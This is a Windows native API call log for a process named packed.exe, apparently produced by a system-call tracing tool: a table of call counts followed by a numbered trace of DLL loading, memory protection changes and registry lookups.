Summary:


NtAddAtom(>) 
 1 
NtUserGetObjectInformation(>) 
 1 
NtCreateEvent(>) 
 4 
NtRequestWaitReplyPort(>) 
 17 

NtCallbackReturn(>) 
 1 
NtUserGetThreadDesktop(>) 
 1 
NtGdiDeleteObjectApp(>) 
 4 
NtQueryDirectoryFile(>) 
 18 

NtDuplicateToken(>) 
 1 
NtUserWaitForInputIdle(>) 
 1 
NtQueryVolumeInformationFile(>) 
 4 
NtCreateSection(>) 
 19 

NtEnumerateValueKey(>) 
 1 
NtWaitForSingleObject(>) 
 1 
NtCreateFile(>) 
 5 
NtOpenSection(>) 
 20 

NtFsControlFile(>) 
 1 
NtClearEvent(>) 
 2 
NtCreateKey(>) 
 5 
NtQuerySystemInformation(>) 
 24 

NtGdiCreateBitmap(>) 
 1 
NtConnectPort(>) 
 2 
NtUserGetProcessWindowStation(>) 
 5 
NtOpenProcessTokenEx(>) 
 29 

NtGdiCreatePaletteInternal(>) 
 1 
NtContinue(>) 
 2 
NtDelayExecution(>) 
 6 
NtOpenThreadTokenEx(>) 
 29 

NtGdiCreatePatternBrushInternal(>) 
 1 
NtCreateProcessEx(>) 
 2 
NtSetValueKey(>) 
 6 
NtMapViewOfSection(>) 
 34 

NtGdiInit(>) 
 1 
NtCreateThread(>) 
 2 
NtGdiGetStockObject(>) 
 7 
NtQueryInformationToken(>) 
 38 

NtGdiQueryFontAssocInfo(>) 
 1 
NtDeviceIoControlFile(>) 
 2 
NtQuerySection(>) 
 7 
NtOpenFile(>) 
 41 

NtGdiSelectBitmap(>) 
 1 
NtDuplicateObject(>) 
 2 
NtQueryVirtualMemory(>) 
 7 
NtSetInformationProcess(>) 
 45 

NtGetContextThread(>) 
 1 
NtGdiCreateSolidBrush(>) 
 2 
NtReadVirtualMemory(>) 
 7 
NtUserGetAtomName(>) 
 47 

NtOpenKeyedEvent(>) 
 1 
NtGdiHfontCreate(>) 
 2 
NtUserBuildHwndList(>) 
 7 
NtUserUnregisterClass(>) 
 47 

NtOpenMutant(>) 
 1 
NtOpenDirectoryObject(>) 
 2 
NtEnumerateKey(>) 
 8 
NtAllocateVirtualMemory(>) 
 48 

NtOpenProcess(>) 
 1 
NtOpenEvent(>) 
 2 
NtQueryDefaultUILanguage(>) 
 8 
NtUserFindExistingCursorIcon(>) 
 51 

NtQueryEvent(>) 
 1 
NtQueryInformationJobObject(>) 
 2 
NtSetInformationFile(>) 
 8 
NtQueryInformationProcess(>) 
 56 

NtQueryInstallUILanguage(>) 
 1 
NtResumeThread(>) 
 2 
NtOpenProcessToken(>) 
 9 
NtUserRegisterClassExWOW(>) 
 61 

NtQueryKey(>) 
 1 
NtTerminateProcess(>) 
 2 
NtUserCallNoParam(>) 
 9 
NtQueryValueKey(>) 
 67 

NtQueryObject(>) 
 1 
NtCreateSemaphore(>) 
 3 
NtUserGetWindowDC(>) 
 10 
NtQueryAttributesFile(>) 
 70 

NtQueryPerformanceCounter(>) 
 1 
NtGdiCreateCompatibleDC(>) 
 3 
NtWriteVirtualMemory(>) 
 10 
NtFlushInstructionCache(>) 
 77 

NtRegisterThreadTerminatePort(>) 
 1 
NtOpenSymbolicLinkObject(>) 
 3 
NtQueryDebugFilterState(>) 
 11 
NtOpenKey(>) 
 126 

NtReleaseMutant(>) 
 1 
NtOpenThreadToken(>) 
 3 
NtSetInformationThread(>) 
 11 
NtUserValidateHandleSecure(>) 
 152 

NtSecureConnectPort(>) 
 1 
NtQuerySymbolicLinkObject(>) 
 3 
NtQueryInformationFile(>) 
 12 
NtProtectVirtualMemory(>) 
 156 

NtSetContextThread(>) 
 1 
NtSetInformationObject(>) 
 3 
NtUserSystemParametersInfo(>) 
 12 
NtUserQueryWindow(>) 
 186 

NtTestAlert(>) 
 1 
NtUserGetDC(>) 
 3 
NtFreeVirtualMemory(>) 
 13 
NtClose(>) 
 188 

NtUserBuildNameList(>) 
 1 
NtUserOpenDesktop(>) 
 3 
NtQueryDefaultLocale(>) 
 14 
NtReadFile(>) 
 279 

NtUserCloseDesktop(>) 
 1 
NtUserRegisterWindowMessage(>) 
 3 
NtUnmapViewOfSection(>) 
 14 
NtWriteFile(>) 
 280 

NtUserGetGUIThreadInfo(>) 
 1 
NtAccessCheck(>) 
 4 
NtUserCallOneParam(>) 
 14 

Trace:
 00001  1356   NtOpenFile  (0x80100000, {24, 0, 0x240, 0, 0,  (0x80100000, {24, 0, 0x240, 0, 0, "\SystemRoot\Prefetch\PACKED.EXE-09ED06A1.pf"}, 0, 32, ... ) }, 0, 32, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00002  1356   NtOpenKey  (0x80000000, {24, 0, 0x40, 0, 0,  (0x80000000, {24, 0, 0x40, 0, 0, "\Registry\Machine\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\packed.exe"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00003  1356   NtOpenKeyedEvent  (0x2000000, {24, 0, 0x0, 0, 0,  (0x2000000, {24, 0, 0x0, 0, 0, "\KernelObjects\CritSecOutOfMemoryEvent"}, ... 4, ) }, ... 4, ) == 0x0
 00004  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00005  1356   NtAllocateVirtualMemory  (-1, 0, 0, 1048576, 8192, 4, ... 1310720, 1048576, ) == 0x0
 00006  1356   NtAllocateVirtualMemory  (-1, 1310720, 0, 4096, 4096, 4, ... 1310720, 4096, ) == 0x0
 00007  1356   NtAllocateVirtualMemory  (-1, 1314816, 0, 8192, 4096, 4, ... 1314816, 8192, ) == 0x0
 00008  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00009  1356   NtAllocateVirtualMemory  (-1, 0, 0, 65536, 8192, 4, ... 2359296, 65536, ) == 0x0
 00010  1356   NtAllocateVirtualMemory  (-1, 2359296, 0, 24576, 4096, 4, ... 2359296, 24576, ) == 0x0
 00011  1356   NtOpenDirectoryObject  (0x3, {24, 0, 0x40, 0, 0,  (0x3, {24, 0, 0x40, 0, 0, "\KnownDlls"}, ... 8, ) }, ... 8, ) == 0x0
 00012  1356   NtOpenSymbolicLinkObject  (0x1, {24, 8, 0x40, 0, 0,  (0x1, {24, 8, 0x40, 0, 0, "KnownDllPath"}, ... 12, ) }, ... 12, ) == 0x0
 00013  1356   NtQuerySymbolicLinkObject  (12, ...  (12, ... "C:\WINDOWS\system32", 0x0, ) , 0x0, ) == 0x0
 00014  1356   NtClose  (12, ... ) == 0x0
 00015  1356   NtOpenFile  (0x100020, {24, 0, 0x42, 0, 0,  (0x100020, {24, 0, 0x42, 0, 0, "\??\C:\scripts\"}, 3, 33, ... 12, {status=0x0, info=1}, ) }, 3, 33, ... 12, {status=0x0, info=1}, ) == 0x0
 00016  1356   NtQueryVolumeInformationFile  (12, 1243852, 8, Device, ... {status=0x0, info=8}, ) == 0x0
 00017  1356   NtQueryAttributesFile  ({24, 0, 0x40, 0, 0,  ({24, 0, 0x40, 0, 0, "\??\u:\work\packed.exe.Local"}, 1243804, ... ) }, 1243804, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00018  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "kernel32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00019  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x7c800000), 0x0, 1003520, ) == 0x0
 00020  1356   NtClose  (16, ... ) == 0x0
 00021  1356   NtProtectVirtualMemory  (-1, (0x7c801000), 1568, 4, ... (0x7c801000), 4096, 32, ) == 0x0
 00022  1356   NtProtectVirtualMemory  (-1, (0x7c801000), 4096, 32, ... (0x7c801000), 4096, 4, ) == 0x0
 00023  1356   NtFlushInstructionCache  (-1, 2088767488, 1568, ... ) == 0x0
 00024  1356   NtQueryInformationProcess  (-1, 36, 4, ... {process info, class 36, size 4}, 0x0, ) == 0x0
 00025  1356   NtQuerySystemInformation  (RangeStart, 4, ... {system info, class 50, size 4}, 0x0, ) == 0x0
 00026  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00027  1356   NtCreateSection  (0xf001f, 0x0, {65536, 0}, 4, 67108864, 0, ... 16, ) == 0x0
 00028  1356   NtSecureConnectPort  ( ("\Windows\ApiPort", {0, 2, 1, 1}, {24, 16, 0, 65536, 0, 0}, 1319736, {12, 0, 0}, 1241944, 44, ... 24, {24, 16, 0, 65536, 2424832, 19136512}, {0, 0, 0}, 200, 44, ) , {0, 2, 1, 1}, {24, 16, 0, 65536, 0, 0}, 1319736, {12, 0, 0}, 1241944, 44, ... 24, {24, 16, 0, 65536, 2424832, 19136512}, {0, 0, 0}, 200, 44, ) == 0x0
 00029  1356   NtClose  (16, ... ) == 0x0
 00030  1356   NtQueryObject  (24, Handle, 2, ... {Inherit=0,ProtectFromClose=0,}, -1, ) == 0x0
 00031  1356   NtSetInformationObject  (24, Handle, {Inherit=0,ProtectFromClose=1,}, 256, ... ) == 0x0
 00032  1356   NtQuerySystemInformation  (Basic, 44, ... {Unknown=0,MaximumIncrement=156250,PhysicalPageSize=0x1000,NumberOfPhysicalPages=0xff7c,LowestPhysicalPage=0x1,HighestPhysicalPage=0xffff,AllocationGranularity=0x10000,LowestUserAddress=0x10000,HighestUserAddress=0x7ffeffff,ActiveProcessors=1,NumberProcessors=1,}, 0x0, ) == 0x0
 00033  1356   NtQueryVirtualMemory  (-1, 0x250000, Basic, 28, ... {BaseAddress=0x250000,AllocationBase=0x250000,AllocationProtect=0x4,RegionSize=0x10000,State=0x2000,Protect=0x0,Type=0x40000,}, 0x0, ) == 0x0
 00034  1356   NtAllocateVirtualMemory  (-1, 2424832, 0, 4096, 4096, 4, ... 2424832, 4096, ) == 0x0
 00035  1356   NtRequestWaitReplyPort  (24, {28, 56, new_msg, 0, 1242260, 1242460, 2089900544, 1242184}  (24, {28, 56, new_msg, 0, 1242260, 1242460, 2089900544, 1242184} "\210\6$\1\0\0\0\0eZ\221|\0\0\0\0\1\0\0\0\234\6$\1\4\0\0\0" ... {28, 56, reply, 0, 220, 1356, 75521, 0} "\330<\27\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\234\6$\1\4\0\0\0" )  ... {28, 56, reply, 0, 220, 1356, 75521, 0}  (24, {28, 56, new_msg, 0, 1242260, 1242460, 2089900544, 1242184} "\210\6$\1\0\0\0\0eZ\221|\0\0\0\0\1\0\0\0\234\6$\1\4\0\0\0" ... {28, 56, reply, 0, 220, 1356, 75521, 0} "\330<\27\0\0\0\0\0\0\0\0\0\0\0\0\0\1\0\0\0\234\6$\1\4\0\0\0" )  ) == 0x0
 00036  1356   NtRegisterThreadTerminatePort  (24, ... ) == 0x0
 00037  1356   NtOpenKey  (0x20019, {24, 0, 0x40, 0, 0,  (0x20019, {24, 0, 0x40, 0, 0, "\Registry\Machine\System\CurrentControlSet\Control\Terminal Server"}, ... 16, ) }, ... 16, ) == 0x0
 00038  1356   NtQueryValueKey  (16,  (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) , Partial, 548, ... TitleIdx=0, Type=4, Data= (16, "TSAppCompat", Partial, 548, ... TitleIdx=0, Type=4, Data="\0\0\0\0"}, 16, ) }, 16, ) == 0x0
 00039  1356   NtClose  (16, ... ) == 0x0
 00040  1356   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionUnicode"}, ... 16, ) }, ... 16, ) == 0x0
 00041  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x260000), 0x0, 90112, ) == 0x0
 00042  1356   NtClose  (16, ... ) == 0x0
 00043  1356   NtQueryDefaultLocale  (0, 2089305000, ... ) == 0x0
 00044  1356   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionLocale"}, ... 16, ) }, ... 16, ) == 0x0
 00045  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x280000), 0x0, 249856, ) == 0x0
 00046  1356   NtClose  (16, ... ) == 0x0
 00047  1356   NtOpenSection  (0x5, {24, 0, 0x40, 0, 0,  (0x5, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionSortkey"}, ... 16, ) }, ... 16, ) == 0x0
 00048  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x2c0000), 0x0, 266240, ) == 0x0
 00049  1356   NtQuerySection  (16, Basic, 16, ... {BaseAddress=0x0,Attributes=0x800000,Size={0x40004, 0x0},}, 0x0, ) == 0x0
 00050  1356   NtClose  (16, ... ) == 0x0
 00051  1356   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionSortTbls"}, ... 16, ) }, ... 16, ) == 0x0
 00052  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 2, 0, 2, ... (0x310000), 0x0, 24576, ) == 0x0
 00053  1356   NtClose  (16, ... ) == 0x0
 00054  1356   NtQueryVirtualMemory  (-1, 0x7ffd2000, Basic, 28, ... {BaseAddress=0x7ffd2000,AllocationBase=0x7ffb0000,AllocationProtect=0x2,RegionSize=0x2000,State=0x1000,Protect=0x2,Type=0x40000,}, 0x0, ) == 0x0
 00055  1356   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionSortkey00000409"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00056  1356   NtOpenSection  (0x4, {24, 0, 0x40, 0, 0,  (0x4, {24, 0, 0x40, 0, 0, "\NLS\NlsSectionSortkey00000409"}, ... ) }, ... ) == STATUS_OBJECT_NAME_NOT_FOUND
 00057  1356   NtAllocateVirtualMemory  (-1, 2428928, 0, 8192, 4096, 4, ... 2428928, 8192, ) == 0x0
 00058  1356   NtRequestWaitReplyPort  (24, {24, 52, new_msg, 0, 7012468, 7929957, 3145776, 3145776}  (24, {24, 52, new_msg, 0, 7012468, 7929957, 3145776, 3145776} "\210\6$\1\36\0\1\0\0\0\0\0\377\377\377\377\234\6$\1p\30\0\0" ... {24, 52, reply, 0, 220, 1356, 75522, 0} "\10P\30\0\36\0\1\0\0\0\0\0\377\377\377\377\234\6$\1p\30\0\0" )  ... {24, 52, reply, 0, 220, 1356, 75522, 0}  (24, {24, 52, new_msg, 0, 7012468, 7929957, 3145776, 3145776} "\210\6$\1\36\0\1\0\0\0\0\0\377\377\377\377\234\6$\1p\30\0\0" ... {24, 52, reply, 0, 220, 1356, 75522, 0} "\10P\30\0\36\0\1\0\0\0\0\0\377\377\377\377\234\6$\1p\30\0\0" )  ) == 0x0
 00059  1356   NtRequestWaitReplyPort  (24, {28, 56, new_msg, 0, 2089305760, 2090321376, 0, 0}  (24, {28, 56, new_msg, 0, 2089305760, 2090321376, 0, 0} "\210\6$\1\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\234\6$\18\6\0\0" ... {28, 56, reply, 0, 220, 1356, 75523, 0} "\250\202\26\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\234\6$\18\6\0\0" )  ... {28, 56, reply, 0, 220, 1356, 75523, 0}  (24, {28, 56, new_msg, 0, 2089305760, 2090321376, 0, 0} "\210\6$\1\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\234\6$\18\6\0\0" ... {28, 56, reply, 0, 220, 1356, 75523, 0} "\250\202\26\0\0\0\0\0\0\0\0\0\0\0\0\0\2\0\0\0\234\6$\18\6\0\0" )  ) == 0x0
 00060  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "oleaut32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00061  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77120000), 0x0, 569344, ) == 0x0
 00062  1356   NtClose  (16, ... ) == 0x0
 00063  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "ADVAPI32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00064  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77dd0000), 0x0, 634880, ) == 0x0
 00065  1356   NtClose  (16, ... ) == 0x0
 00066  1356   NtProtectVirtualMemory  (-1, (0x77dd1000), 1700, 4, ... (0x77dd1000), 4096, 32, ) == 0x0
 00067  1356   NtProtectVirtualMemory  (-1, (0x77dd1000), 4096, 32, ... (0x77dd1000), 4096, 4, ) == 0x0
 00068  1356   NtFlushInstructionCache  (-1, 2010976256, 1700, ... ) == 0x0
 00069  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "RPCRT4.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00070  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77e70000), 0x0, 593920, ) == 0x0
 00071  1356   NtClose  (16, ... ) == 0x0
 00072  1356   NtProtectVirtualMemory  (-1, (0x77e71000), 868, 4, ... (0x77e71000), 4096, 32, ) == 0x0
 00073  1356   NtProtectVirtualMemory  (-1, (0x77e71000), 4096, 32, ... (0x77e71000), 4096, 4, ) == 0x0
 00074  1356   NtFlushInstructionCache  (-1, 2011631616, 868, ... ) == 0x0
 00075  1356   NtProtectVirtualMemory  (-1, (0x77e71000), 868, 4, ... (0x77e71000), 4096, 32, ) == 0x0
 00076  1356   NtProtectVirtualMemory  (-1, (0x77e71000), 4096, 32, ... (0x77e71000), 4096, 4, ) == 0x0
 00077  1356   NtFlushInstructionCache  (-1, 2011631616, 868, ... ) == 0x0
 00078  1356   NtProtectVirtualMemory  (-1, (0x77e71000), 868, 4, ... (0x77e71000), 4096, 32, ) == 0x0
 00079  1356   NtProtectVirtualMemory  (-1, (0x77e71000), 4096, 32, ... (0x77e71000), 4096, 4, ) == 0x0
 00080  1356   NtFlushInstructionCache  (-1, 2011631616, 868, ... ) == 0x0
 00081  1356   NtProtectVirtualMemory  (-1, (0x77dd1000), 1700, 4, ... (0x77dd1000), 4096, 32, ) == 0x0
 00082  1356   NtProtectVirtualMemory  (-1, (0x77dd1000), 4096, 32, ... (0x77dd1000), 4096, 4, ) == 0x0
 00083  1356   NtFlushInstructionCache  (-1, 2010976256, 1700, ... ) == 0x0
 00084  1356   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00085  1356   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00086  1356   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00087  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "GDI32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00088  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77f10000), 0x0, 290816, ) == 0x0
 00089  1356   NtClose  (16, ... ) == 0x0
 00090  1356   NtProtectVirtualMemory  (-1, (0x77f11000), 508, 4, ... (0x77f11000), 4096, 32, ) == 0x0
 00091  1356   NtProtectVirtualMemory  (-1, (0x77f11000), 4096, 32, ... (0x77f11000), 4096, 4, ) == 0x0
 00092  1356   NtFlushInstructionCache  (-1, 2012286976, 508, ... ) == 0x0
 00093  1356   NtProtectVirtualMemory  (-1, (0x77f11000), 508, 4, ... (0x77f11000), 4096, 32, ) == 0x0
 00094  1356   NtProtectVirtualMemory  (-1, (0x77f11000), 4096, 32, ... (0x77f11000), 4096, 4, ) == 0x0
 00095  1356   NtFlushInstructionCache  (-1, 2012286976, 508, ... ) == 0x0
 00096  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "USER32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00097  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x7e410000), 0x0, 589824, ) == 0x0
 00098  1356   NtClose  (16, ... ) == 0x0
 00099  1356   NtProtectVirtualMemory  (-1, (0x7e411000), 1252, 4, ... (0x7e411000), 4096, 32, ) == 0x0
 00100  1356   NtProtectVirtualMemory  (-1, (0x7e411000), 4096, 32, ... (0x7e411000), 4096, 4, ) == 0x0
 00101  1356   NtFlushInstructionCache  (-1, 2118193152, 1252, ... ) == 0x0
 00102  1356   NtProtectVirtualMemory  (-1, (0x7e411000), 1252, 4, ... (0x7e411000), 4096, 32, ) == 0x0
 00103  1356   NtProtectVirtualMemory  (-1, (0x7e411000), 4096, 32, ... (0x7e411000), 4096, 4, ) == 0x0
 00104  1356   NtFlushInstructionCache  (-1, 2118193152, 1252, ... ) == 0x0
 00105  1356   NtProtectVirtualMemory  (-1, (0x7e411000), 1252, 4, ... (0x7e411000), 4096, 32, ) == 0x0
 00106  1356   NtProtectVirtualMemory  (-1, (0x7e411000), 4096, 32, ... (0x7e411000), 4096, 4, ) == 0x0
 00107  1356   NtFlushInstructionCache  (-1, 2118193152, 1252, ... ) == 0x0
 00108  1356   NtProtectVirtualMemory  (-1, (0x77f11000), 508, 4, ... (0x77f11000), 4096, 32, ) == 0x0
 00109  1356   NtProtectVirtualMemory  (-1, (0x77f11000), 4096, 32, ... (0x77f11000), 4096, 4, ) == 0x0
 00110  1356   NtFlushInstructionCache  (-1, 2012286976, 508, ... ) == 0x0
 00111  1356   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00112  1356   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00113  1356   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00114  1356   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00115  1356   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00116  1356   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00117  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "msvcrt.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00118  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x77c10000), 0x0, 360448, ) == 0x0
 00119  1356   NtClose  (16, ... ) == 0x0
 00120  1356   NtProtectVirtualMemory  (-1, (0x77c11000), 632, 4, ... (0x77c11000), 4096, 32, ) == 0x0
 00121  1356   NtProtectVirtualMemory  (-1, (0x77c11000), 4096, 32, ... (0x77c11000), 4096, 4, ) == 0x0
 00122  1356   NtFlushInstructionCache  (-1, 2009141248, 632, ... ) == 0x0
 00123  1356   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00124  1356   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00125  1356   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00126  1356   NtOpenSection  (0xe, {24, 8, 0x40, 0, 0,  (0xe, {24, 8, 0x40, 0, 0, "ole32.dll"}, ... 16, ) }, ... 16, ) == 0x0
 00127  1356   NtMapViewOfSection  (16, -1, (0x0), 0, 0, 0x0, 0, 1, 0, 4, ... (0x774e0000), 0x0, 1298432, ) == 0x0
 00128  1356   NtClose  (16, ... ) == 0x0
 00129  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00130  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00131  1356   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00132  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00133  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00134  1356   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00135  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00136  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00137  1356   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00138  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00139  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00140  1356   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00141  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00142  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00143  1356   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00144  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00145  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00146  1356   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00147  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 2352, 4, ... (0x774e1000), 4096, 32, ) == 0x0
 00148  1356   NtProtectVirtualMemory  (-1, (0x774e1000), 4096, 32, ... (0x774e1000), 4096, 4, ) == 0x0
 00149  1356   NtFlushInstructionCache  (-1, 2001604608, 2352, ... ) == 0x0
 00150  1356   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00151  1356   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00152  1356   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00153  1356   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00154  1356   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00155  1356   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00156  1356   NtProtectVirtualMemory  (-1, (0x77121000), 1272, 4, ... (0x77121000), 4096, 32, ) == 0x0
 00157  1356   NtProtectVirtualMemory  (-1, (0x77121000), 4096, 32, ... (0x77121000), 4096, 4, ) == 0x0
 00158  1356   NtFlushInstructionCache  (-1, 1997672448, 1272, ... ) == 0x0
 00159  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 8, ) == 0x0
 00160  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 8, ... (0x40024000), 4096, 4, ) == 0x0
 00161  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00162  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00163  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00164  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00165  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00166  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00167  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00168  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00169  1356   NtProtectVirtualMemory  (-1, (0x40024000), 4096, 4, ... (0x40024000), 4096, 4, ) == 0x0
 00170  1356   NtFlushInstructionCache  (-1, 1073889280, 668, ... ) == 0x0
 00171  1356   NtProtectVirtualMemory  (-1, (0x400243dc), 668, 4, ... (0x40024000), 4096, 4, ) == 0x0
